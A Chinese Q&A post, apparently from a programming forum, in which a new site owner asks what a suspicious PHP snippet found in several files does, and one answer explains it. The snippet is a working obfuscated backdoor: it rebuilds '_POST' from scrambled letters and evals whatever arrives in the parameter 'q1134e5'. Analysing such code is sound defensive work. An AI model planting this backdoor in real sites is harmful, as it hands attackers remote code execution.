这个PHP代码有什么作用?

时间:2015-05-16 00:39:28

标签: php

最近接管了一个网站并在一些文件中发现了以下代码,相信它是恶意的:

<?php 
 $qV="stop_";
 $s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
 if(isset(${$s20}['q1134e5'])){eval(${$s20}['q1134e5']);}
?>

关于它的作用的任何想法?

1 个答案:

答案 0 :(得分:2)

似乎: - 第一行是&#34; _POST&#34 ;; - 第二行检查_POST是否有效,而不是参数&#39; q1134e5&#39;从帖子中执行它。

了解为何危险 http://php.net/manual/en/function.eval.php